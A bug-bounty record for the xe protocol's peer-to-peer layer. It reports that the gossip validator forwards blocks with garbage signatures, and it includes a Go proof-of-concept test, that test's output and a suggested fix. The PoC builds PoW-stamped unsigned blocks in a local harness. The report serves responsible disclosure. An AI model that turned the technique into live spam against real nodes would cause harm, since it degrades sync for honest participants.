{"id":"XE-0029","kind":"bounty","visibility":"public","source":"github","source_repo":"xeprotocol/xe","source_ref":"53","source_url":"https://github.com/xeprotocol/xe/issues/53","reporter_id":13,"title":"net: block gossip validator forwards blocks with garbage signatures; PoW-gated mesh spam and channel eviction (Medium)","area":"p2p-sync","claimed_tier":"medium","assessed_tier":null,"verdict":null,"duplicate_of":null,"tracked":true,"internal_ref":"","internal_url":null,"status":"accepted","closed_reason":null,"github_state":"open","disclosed_at":null,"award_xe":null,"award_approved":false,"paid_ref":"","created_at":"2026-10-29T13:57:16.677395+00:00","updated_at":"2026-11-10T11:38:17.709514+00:00","source_created_at":"2026-10-25T11:12:33+00:00","told_at":"2026-11-10T00:15:28+00:00","status_changed_at":"2026-10-29T14:04:12.319072+00:00","url":"https://bounty.xe.network/XE-0029","body":"## Summary\nThe gossipsub block validator checks the block hash, PoW difficulty and signature length, but the hash is computed over canonical bytes that do not include the Signature field, so any 128 hex character garbage passes. The real signature check happens only after delivery, on a 256-deep channel that drops when full. One client can keep validly hashed, PoW-stamped, unsigned blocks flowing mesh-wide, evicting honest blocks from subscriber channels at every node.\n\n## Affected component\nnet/gossip_validate.go, blockValidator at lines 63 to 98; core/encoding.go HashBlock canonical bytes excluding Signature (lines 43 to 98 and 301 to 330); channel drop at net/gossip.go lines 154 to 158, at commit 978785929bc17a2f4ab30c383e5fc9cf4d634512. Default PoW difficulty is non-zero (core/pow.go DefaultDifficulty), which keeps this PoW-gated spam rather than free flooding.\n\n## Impact\nOne client burns PoW once per spam block and gets it forwarded by every node: honest subscribers' block channels fill, real blocks drop, and sync quality degrades for as long as the attacker keeps mining. No double-spend (admission still verifies credentials). If an operator ever sets difficulty to 0, this upgrades to free unlimited mesh spam.\n\nSuggested severity: Medium (validation gap with PoW cost as the bound). Confirmed by read-only source review with an in-process harness at the default difficulty.\n\n## PoC\n## PoC\n\nSetup (from a fresh clone of xeprotocol/xe at the pin): save the test file below at `net/poc_f18_test.go` (it joins the package's own test build), then:\n\n```\nGOTOOLCHAIN=auto go test -count=1 -v -run TestPoC_F18 ./net\n```\n\n**Test file** (`net/poc_f18_test.go`):\n\n```go\npackage net\n\nimport (\n\t\"context\"\n\t\"encoding/hex\"\n\t\"encoding/json\"\n\t\"fmt\"\n\t\"os\"\n\t\"testing\"\n\n\tpubsub \"github.com/libp2p/go-libp2p-pubsub\"\n\tpb \"github.com/libp2p/go-libp2p-pubsub/pb\"\n\t\"github.com/libp2p/go-libp2p/core/peer\"\n\n\t\"github.com/xeprotocol/xe/core\"\n)\n\n// TestPoC_F18: blockValidator never verifies the account signature. A\n// syntactically valid send with 128 hex of garbage in Signature and a real\n// PoW at DefaultDifficulty is ValidationAccept.\nfunc TestPoC_F18(t *testing.T) {\n\tpass, detail := runF18()\n\tif pass {\n\t\tfmt.Println(\"PASS: F18 blockValidator accepts a garbage-signature block at DefaultDifficulty\")\n\t\tfmt.Println(detail)\n\t\treturn\n\t}\n\tfmt.Println(\"FAIL: F18 expected ValidationAccept for garbage Signature at default difficulty\")\n\tfmt.Println(detail)\n\tos.Exit(0)\n}\n\nfunc runF18() (bool, string) {\n\tcore.SetNetworkID(\"\")\n\taccount := \"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\"\n\tdest := \"bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb\"\n\tb := &core.Block{\n\t\tType:        core.BlockSend,\n\t\tAccount:     account,\n\t\tPrevious:    \"0\",\n\t\tBalance:     0,\n\t\tAmount:      1,\n\t\tTimestamp:   1,\n\t\tAsset:       \"XE\",\n\t\tDestination: dest,\n\t\tSignature:   hex.EncodeToString(make([]byte, 64)), // 128 hex zeros, not a real sig\n\t}\n\th, err := core.HashBlock(b)\n\tif err != nil {\n\t\treturn false, \"HashBlock: \" + err.Error()\n\t}\n\tb.Hash = h\n\thashBytes, err := hex.DecodeString(b.Hash)\n\tif err != nil {\n\t\treturn false, \"decode hash: \" + err.Error()\n\t}\n\tb.PoWNonce = core.ComputePoW(hashBytes, core.DefaultDifficulty)\n\tif !core.ValidatePoW(hashBytes, b.PoWNonce, core.DefaultDifficulty) {\n\t\treturn false, \"PoW did not validate at DefaultDifficulty\"\n\t}\n\n\t// Hash is independent of Signature: flipping the garbage does not change it.\n\tb.Signature = hex.EncodeToString(bytesOf(0xff, 64))\n\th2, _ := core.HashBlock(b)\n\thashIndependent := h2 == b.Hash\n\n\tv := blockValidator(GossipConfig{Difficulty: core.DefaultDifficulty})\n\tdata, err := json.Marshal(BlockMsg{Block: b})\n\tif err != nil {\n\t\treturn false, \"marshal: \" + err.Error()\n\t}\n\tgot := v(context.Background(), peer.ID(\"\"), &pubsub.Message{Message: &pb.Message{Data: data}})\n\n\trealKP, err := core.GenerateKeyPair()\n\tif err != nil {\n\t\treturn false, \"keygen: \" + err.Error()\n\t}\n\tcredErr := core.VerifyBlockSignatureWith(b, realKP.PubKeyHex())\n\n\tdetail := fmt.Sprintf(\n\t\t\"DefaultDifficulty=%#x nonce=%d hash=%s\\n\"+\n\t\t\t\"Signature=%s (128 hex garbage)\\n\"+\n\t\t\t\"HashBlock independent of Signature=%v\\n\"+\n\t\t\t\"blockValidator result=%v (ValidationAccept=%v)\\n\"+\n\t\t\t\"real credential check VerifyBlockSignatureWith err=%v\",\n\t\tcore.DefaultDifficulty, b.PoWNonce, b.Hash[:16],\n\t\tb.Signature[:16]+\"...\",\n\t\thashIndependent, got, pubsub.ValidationAccept, credErr,\n\t)\n\tok := got == pubsub.ValidationAccept && hashIndependent && credErr != nil && len(b.Signature) == 128\n\treturn ok, detail\n}\n\nfunc bytesOf(v byte, n int) []byte {\n\tout := make([]byte, n)\n\tfor i := range out {\n\t\tout[i] = v\n\t}\n\treturn out\n}\n```\n\n**Run** (run 1 of 5 consecutive runs, 5/5 PASS, exit 0):\n\n```\n=== RUN   TestPoC_F18\nPASS: F18 blockValidator accepts a garbage-signature block at DefaultDifficulty\nDefaultDifficulty=0xfffff80000000000 nonce=14812486524125728324 hash=5d599f25ded9d1dd\nSignature=ffffffffffffffff... (128 hex garbage)\nHashBlock independent of Signature=true\nblockValidator result=0 (ValidationAccept=0)\nreal credential check VerifyBlockSignatureWith err=signature verification failed\n--- PASS: TestPoC_F18 (0.78s)\nPASS\nok  \tgithub.com/xeprotocol/xe/net\t0.792s\n```\n\n## Fix suggestion\nVerify the account signature at the gossip level, or at minimum add a per-peer score penalty for hash-valid but signature-invalid blocks.","patch_refs":[{"id":154,"repo":"xeprotocol/xe","kind":"pr","ref":"135","title":"fix(net,node): verify block signatures and pubkey declarations in gossip blockValidator","url":"https://github.com/xeprotocol/xe/pull/135","note":"","state":"open","author":"arturbarszcz78","added_by":"desk","created_at":"2026-10-29T13:57:30.091343+00:00"}],"thread":[{"id":1558,"source":"github","source_ref":"6755088431","author":"XE desk","team":true,"body":"Read and accepted. It is tracked internally and the fix will land in a public PR; this issue is\nupdated when it does, and the tier and award follow the fix. The desk entry is https://bounty.xe.network/XE-0029.","created_at":"2026-11-10T00:15:28+00:00"}]}